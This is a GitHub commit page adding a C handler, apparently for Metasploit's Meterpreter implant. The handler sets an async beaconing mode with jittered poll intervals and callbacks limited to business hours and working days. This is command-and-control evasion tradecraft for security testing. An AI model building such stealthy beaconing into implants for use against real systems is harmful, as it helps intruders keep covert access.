Skip to content

Commit b716881

Browse files
committed
feat: implement core_async_mode command handler
Add async mode request handler with business-hours awareness, configurable poll interval with jitter, and interruptible sleep via wake event.
1 parent a7bce4a commit b716881

1 file changed

Lines changed: 174 additions & 0 deletions

File tree

Lines changed: 174 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,174 @@
1+
/*!
2+
* @file core_async.c
3+
* @brief Handles the core async mode command for HTTP transports.
4+
*/
5+
#include "metsrv.h"
6+
7+
/*!
8+
* @brief Determine if the current local hour falls within business hours on an active day.
9+
* @param ctx Pointer to the HTTP transport context containing async config.
10+
* @returns TRUE if currently within configured work hours, FALSE otherwise.
11+
*/
12+
BOOL async_in_work_hours(HttpTransportContext* ctx)
13+
{
14+
SYSTEMTIME st;
15+
GetLocalTime(&st);
16+
17+
// Check if today is an active day (bit 0 = Sunday, bit 6 = Saturday)
18+
if (ctx->async_work_days != 0)
19+
{
20+
UINT dayBit = 1 << st.wDayOfWeek;
21+
if (!(ctx->async_work_days & dayBit))
22+
{
23+
return FALSE;
24+
}
25+
}
26+
27+
// Check if current hour is within work hours
28+
if (ctx->async_work_start < ctx->async_work_end)
29+
{
30+
// Normal range, e.g. 8-17
31+
if (st.wHour < ctx->async_work_start || st.wHour >= ctx->async_work_end)
32+
{
33+
return FALSE;
34+
}
35+
}
36+
else if (ctx->async_work_start > ctx->async_work_end)
37+
{
38+
// Overnight range, e.g. 22-6
39+
if (st.wHour >= ctx->async_work_end && st.wHour < ctx->async_work_start)
40+
{
41+
return FALSE;
42+
}
43+
}
44+
// If start == end, treat as 24h (always active)
45+
46+
return TRUE;
47+
}
48+
49+
/*!
50+
* @brief Calculate the sleep duration in milliseconds for the current async poll cycle.
51+
* @param ctx Pointer to the HTTP transport context containing async config.
52+
* @returns Sleep duration in milliseconds with jitter applied.
53+
*/
54+
DWORD async_calculate_sleep_ms(HttpTransportContext* ctx)
55+
{
56+
DWORD intervalMs = ctx->async_poll_interval * 1000;
57+
58+
if (ctx->async_poll_jitter > 0 && ctx->async_poll_jitter < 100)
59+
{
60+
// Apply jitter: interval ± jitter%
61+
DWORD jitterRange = (intervalMs * ctx->async_poll_jitter) / 100;
62+
// Random value in range [0, 2*jitterRange], then shift to [-jitterRange, +jitterRange]
63+
DWORD randVal;
64+
if (jitterRange > 0)
65+
{
66+
randVal = (DWORD)(rand() % (2 * jitterRange + 1));
67+
intervalMs = intervalMs - jitterRange + randVal;
68+
}
69+
}
70+
71+
return intervalMs;
72+
}
73+
74+
/*!
75+
* @brief Handle the COMMAND_ID_CORE_ASYNC_MODE request.
76+
* @param remote Pointer to the \c Remote instance.
77+
* @param packet Pointer to the incoming request \c Packet.
78+
* @returns Indication of success or failure.
79+
*/
80+
DWORD request_core_async_mode(Remote* remote, Packet* packet)
81+
{
82+
Packet* response = met_api->packet.create_response(packet);
83+
DWORD result = ERROR_SUCCESS;
84+
Transport* transport = remote->transport;
85+
86+
// Async mode is only supported on HTTP transports
87+
if (!(transport->type & METERPRETER_TRANSPORT_HTTP))
88+
{
89+
dprintf("[ASYNC] Async mode is only supported on HTTP transports");
90+
result = ERROR_NOT_SUPPORTED;
91+
}
92+
else
93+
{
94+
HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx;
95+
96+
BOOL enabled = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_ASYNC_ENABLED);
97+
ctx->async_mode = enabled;
98+
99+
if (enabled)
100+
{
101+
UINT pollInterval = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_POLL_INTERVAL);
102+
UINT pollJitter = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_POLL_JITTER);
103+
UINT workStart = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_WORK_START);
104+
UINT workEnd = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_WORK_END);
105+
UINT workDays = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_WORK_DAYS);
106+
107+
// Apply poll interval (minimum 10 seconds to avoid spin)
108+
if (pollInterval >= 10)
109+
{
110+
ctx->async_poll_interval = pollInterval;
111+
}
112+
else if (pollInterval > 0)
113+
{
114+
ctx->async_poll_interval = 10;
115+
}
116+
else
117+
{
118+
// Default to 300 seconds if not specified
119+
ctx->async_poll_interval = 300;
120+
}
121+
122+
// Jitter must be 0-99
123+
if (pollJitter < 100)
124+
{
125+
ctx->async_poll_jitter = pollJitter;
126+
}
127+
else
128+
{
129+
ctx->async_poll_jitter = 0;
130+
}
131+
132+
// Work hours (0-23, end also accepts 24 meaning midnight)
133+
ctx->async_work_start = (workStart <= 23) ? workStart : 0;
134+
ctx->async_work_end = (workEnd <= 24) ? workEnd : 0;
135+
136+
// Work days bitmask (7 bits: bit0=Sun..bit6=Sat)
137+
ctx->async_work_days = workDays & 0x7F;
138+
139+
// Create the wake event (auto-reset) so sleeps can be interrupted
140+
if (ctx->async_wake_event == NULL)
141+
{
142+
ctx->async_wake_event = CreateEvent(NULL, FALSE, FALSE, NULL);
143+
}
144+
145+
dprintf("[ASYNC] Async mode enabled: interval=%us, jitter=%u%%, hours=%u-%u, days=0x%02X",
146+
ctx->async_poll_interval, ctx->async_poll_jitter,
147+
ctx->async_work_start, ctx->async_work_end, ctx->async_work_days);
148+
}
149+
else
150+
{
151+
dprintf("[ASYNC] Async mode disabled");
152+
153+
// Signal the wake event to interrupt any in-progress async sleep
154+
if (ctx->async_wake_event != NULL)
155+
{
156+
SetEvent(ctx->async_wake_event);
157+
CloseHandle(ctx->async_wake_event);
158+
ctx->async_wake_event = NULL;
159+
}
160+
161+
ctx->async_poll_interval = 0;
162+
ctx->async_poll_jitter = 0;
163+
ctx->async_work_start = 0;
164+
ctx->async_work_end = 0;
165+
ctx->async_work_days = 0;
166+
}
167+
168+
met_api->packet.add_tlv_bool(response, TLV_TYPE_ASYNC_ENABLED, ctx->async_mode);
169+
}
170+
171+
met_api->packet.transmit_response(result, remote, response);
172+
173+
return result;
174+
}

0 commit comments

Comments
 (0)